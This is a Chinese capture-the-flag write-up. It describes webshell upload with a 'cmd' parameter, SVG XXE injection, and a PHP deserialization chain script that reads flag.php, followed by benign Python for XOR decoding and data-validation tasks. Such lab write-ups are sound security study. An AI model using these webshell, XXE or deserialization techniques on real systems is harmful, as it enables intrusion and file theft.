Web#

Upload1#

简单的文件上传，没有过滤后缀名，但是过滤了php长标签，直接上传后缀标签的短标签一句话木马即可。

Upload1.1

传入cmd参数，得到shell

Upload1.2

EzSerialize#

soe@sy

简单的php反序列化，调用链为：__toString -> __call -> execute，编写代码如下，得到flag.php的内容

1
<?php
2
// __toString -> __call -> execute
3

4
class User {
5
    public $name;
6
    public $role;
7
}
8

9
class Admin {
10
    public $command;
11
}
12

13
class FileReader {
14
    public $filename;
15
}
16

17
$fr = new FileReader();
18
$fr->filename = 'flag.php';
19

20
$admin = new Admin();
21
$admin->command = $fr;
22

23
$user = new User();
24
$user->role = $admin;
25
$user->name = 'test';
26

27
echo serialize($user) . "\n";
28
echo base64_encode(serialize($user));
29
?>

UploadKing#

你能得到King的认可吗

提示可以上传svg文件，尝试在svg中注入xml外部实体

UploadKing.1

得到文件链接，打开发现xml内容被成功包含了

UploadKing.2

使用网页上的图片查看工具查看，得到flag

UploadKing.3

数据安全#

dsEnData#

某公司为了保护用户隐私，对个人敏感信息进行了加密脱敏处理。现发现其使用的加密脱敏算法为附件中“encode.py”所示，附件中的“encoded_data.csv”文件即为包含了经过加密脱敏处理的用户信息。现需要作为数据分析师的你对这些加密脱敏后的数据进行恢复。将恢复后的的信息保存到 csv 文件中（文件编码为 utf-8），并将该文件上传至该题的校验平台（在该校验平台里可以下载该题的示例文件 example.csv，可作为该题的格式参考），校验达标即可拿到 flag。（特别声明: 本题所有数据均为随机生成）

1
import base64
2

3
def encode(D, K='a1a60171273e74a6'):
4
    res = b''
5
    for i in range(len(D)):
6
        c = K[i+1&15]
7
        res += bytes.fromhex(hex(D[i]^ord(c))[2:].zfill(2))
8
    return res

原加密函数就是一个简单的异或+base64编码，对应的解密就是再异或一次

1
import csv
2
import base64
3

4
def myencode(D, K='a1a60171273e74a6'):
5
    res = b''
6
    for i in range(len(D)):
7
        c = K[i+1&15]
8
        res += bytes.fromhex(hex(D[i]^ord(c))[2:].zfill(2))
9
    return res
10

11
def mydecode(encode_data):
12
    decode_data = base64.b64decode(encode_data)
13
    original_data = myencode(decode_data)
14
    # print(original_data.decode())
15
    return original_data.decode()
16

17
csv_file = 'encoded_data.csv'
18
# with open(csv_file, mode='r', encoding='utf-8') as file:
19
# 这里图个方便就不用with管理上下文了
20
reader = csv.reader(open(csv_file, mode='r', encoding='utf-8'))
21
writer = csv.writer(open('decoded_data.csv', mode='a', encoding='utf-8', newline=''))
22
for row in reader:
23
    # print(row[1])
24
    try:
25
        # print(mydecode(row[1].strip()))
26
        # row[0] = mydecode(row[0].strip()) # 第0列的数据不用解密
27
        row[1] = mydecode(row[1].strip())
28
        row[2] = mydecode(row[2].strip())
29
        row[3] = mydecode(row[3].strip())
30
        row[4] = mydecode(row[4].strip())
31
        writer.writerow(row)
32
    except Exception as e:
33
        pass

这样的出来的数据正确率达到了99%，直接提交获得flag

dssql#

选手需要从SQL文件中恢复出用户身份信息表、账户权限信息表和操作信息表三个数据表，然后根据文档规范进行数据清洗，找出所有存在违规行为的账户以及对应的违规类型,将结果保存为csv文件提交到验证靶机若准确率达标则会给出flag。题目分值：

这道题简直又臭又长，需要根据每个错误类型编写对用的检查函数，这里我直接把每个错误类型的要求写进函数文档里了，故不列举。

1
from collections import defaultdict
2
import csv
3

4
users = defaultdict(list[str]) # 使用defaultdict快速向不存在的键写入值
5
operations = []
6
violations = {"信息违规": [], "操作违规": []} # 使用字典避免重复
7

8
database = "data.sql"
9

10
def name_valid(name):
11
    """
12
    必须为2-4个中文字符
13
    不能为空或非字符串类型
14
    必须完全由中文字符组成
15
    不允许包含数字、英文字母或特殊符号
16
    """
17
    if not name:
18
        return False
19
    if not all('\u4e00' <= char <= '\u9fa5' for char in name): # 使用unicode编码范围检查中文
20
        return False
21
    if not (2 <= len(name) <= 4):
22
        return False
23
    return True
24

25
def phonenumber_valid(phone):
26
    """
27
    必须为11位数字
28
    必须以1开头
29
    第二位必须是3-9的数字
30
    不能包含非数字字符
31
    """
32
    return len(phone) == 11 and phone.isdigit() and phone[0] == '1' and phone[1] in '23456789'
33

34
def sfz_valid(sfz): # 身份证的英文id和card都重复了，只好祭出拼音大法
35
    """
36
    必须为18位字符
37
    前17位必须为数字
38
    最后一位可以是数字或X/x
39
    必须通过身份证校验码算法验证
40
    校验码算法：前17位数字分别与权重[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]相乘后求和，对11取模，根据结果查表['1','0','X','9','8','7','6','5','4','3','2']得到校验码
41
    """
42
    if not (len(sfz) == 18 and sfz[:17].isdigit() and sfz[17] in '0123456789Xx'):
43
        return False
44
    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
45
    total = sum(int(sfz[i]) * weights[i] for i in range(17))
46
    check_digit = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'][total % 11]
47
    return check_digit == sfz[17].upper()
48

49
def registertime_valid(date_str, sfz):
50
    """
51
    格式必须为YYYY/MM/DD
52
    月份必须在1至12之间
53
    日期必须在1至31之间
54
    必须是真实存在的日期（如不是2月30日等）
55
    必须在2015/1/1至2025/10/31范围内
56
    必须晚于或等于身份证号中的出生日期
57
    """
58
    from datetime import datetime
59
    # 使用datetime库的日期格式化简单快捷的避免又臭又长的日期检验和日期比较
60
    try:
61
        date = datetime.strptime(date_str, '%Y/%m/%d')
62
        min_date = datetime(2015, 1, 1)
63
        max_date = datetime(2025, 10, 31)
64
        birth_date = datetime.strptime(sfz[6:14], '%Y%m%d')
65
        return min_date <= date <= max_date and date >= birth_date
66
    except ValueError:
67
        return False
68

69
def card_valid(card):
70
    """
71
    必须为16-19位数字
72
    必须通过Luhn算法验证
73
    Luhn算法：从右到左，偶数位数字乘以2，如果结果大于9则减去9，所有数字相加的和必须能被10整除
74
    """
75
    if not (16 <= len(card) <= 19 and card.isdigit()):
76
        return False
77
    total = 0
78
    for i, digit in enumerate(card[::-1]):
79
        n = int(digit)
80
        if i % 2 == 1:
81
            n *= 2
82
            n = n - 9 if n > 9 else n
83
        total += n
84
    return total % 10 == 0
85

86
def operation_valid(op, power):
87
    """
88
    客服访问了商品管理或系统日志模块
89
    财务访问了用户管理、商品管理或系统日志模块
90
    商品经理访问了用户管理、订单管理或系统日志模块
91
    系统审计员访问了用户管理、商品管理或订单管理模块
92
    """
93
    """
94
    管理员：可以访问所有模块 (user_management, product_management, order_management,
95
    system_logs)
96
    客服：只能访问用户管理(user_management)和订单管理(order_management)模块
97
    财务：只能访问订单管理(order_management)模块
98
    商品经理：只能访问商品管理(product_management)模块
99
    系统审计员：只能访问系统日志(system_logs)模块
100
    """
101
    valid_operations = {
102
        "管理员": ["user_management", "product_management", "order_management", "system_logs"],
103
        "客服": ["user_management", "order_management"],
104
        "财务": ["order_management"],
105
        "商品经理": ["product_management"],
106
        "系统审计员": ["system_logs"],
107
    }
108
    return op in valid_operations[power]
109

110

111
# 不知道怎么读sql，只好逐行处理了www
112
with open(database, 'r', encoding='utf-8') as f:
113
    lines = f.readlines()
114
    for line in lines:
115
        if line.startswith("INSERT INTO `users`"):
116
            records = line.split(",")
117
            userid = records[0].split("(")[-1]
118
            name = records[1].strip().strip("'")
119
            phonenumber = records[2].strip().strip("'")
120
            sfz = records[3].strip().strip("'")
121
            card = records[4].strip().strip("'")
122
            registertime = records[5].strip().strip("'")
123
            power = records[6].strip().strip("'").strip("');")
124

125
            users[userid] = [name, phonenumber, sfz, card, registertime, power]
126

127
        if line.startswith("INSERT INTO `operations`"):
128
            records = line.split(",")
129
            opid = records[0].split("(")[-1]
130
            user = records[1].strip().strip("'")
131
            optype = records[2].strip().strip("'")
132
            opmodule = records[3].strip().strip("'")
133
            time = records[4].strip().strip("'").strip("');")
134

135
            operations.append([opid, user, optype, opmodule, time])
136

137
file = "violations.csv"
138
writer = csv.writer(open(file, 'w', newline='', encoding='utf-8'))
139
writer.writerow(["姓名", "违规类型"])
140

141
for userid, info in users.items():
142
    name = info[0]
143
    phonenumber = info[1]
144
    sfz = info[2]
145
    card = info[3]
146
    registertime = info[4]
147
    power = info[5]
148
    if not name_valid(name):
149
        violations["信息违规"].append(name)
150

151
    if not phonenumber_valid(phonenumber):
152
        violations["信息违规"].append(name)
153

154
    if not sfz_valid(sfz):
155
        violations["信息违规"].append(name)
156

157
    if not card_valid(card):
158
        violations["信息违规"].append(name)
159

160
    if not registertime_valid(registertime, sfz):
161
        violations["信息违规"].append(name)
162

163
for op in operations:
164
    userid = op[1]
165
    opmodule = op[3]
166
    username = users[userid][0]
167
    power = users[userid][5]
168

169
    if not operation_valid(opmodule, power):
170
        violations["操作违规"].append(username)
171

172
for (key, value) in violations.items():
173
    for name in set(value):
174
        writer.writerow([name, key])

这样生成的文件正确率达到了100%，直接提交，得到flag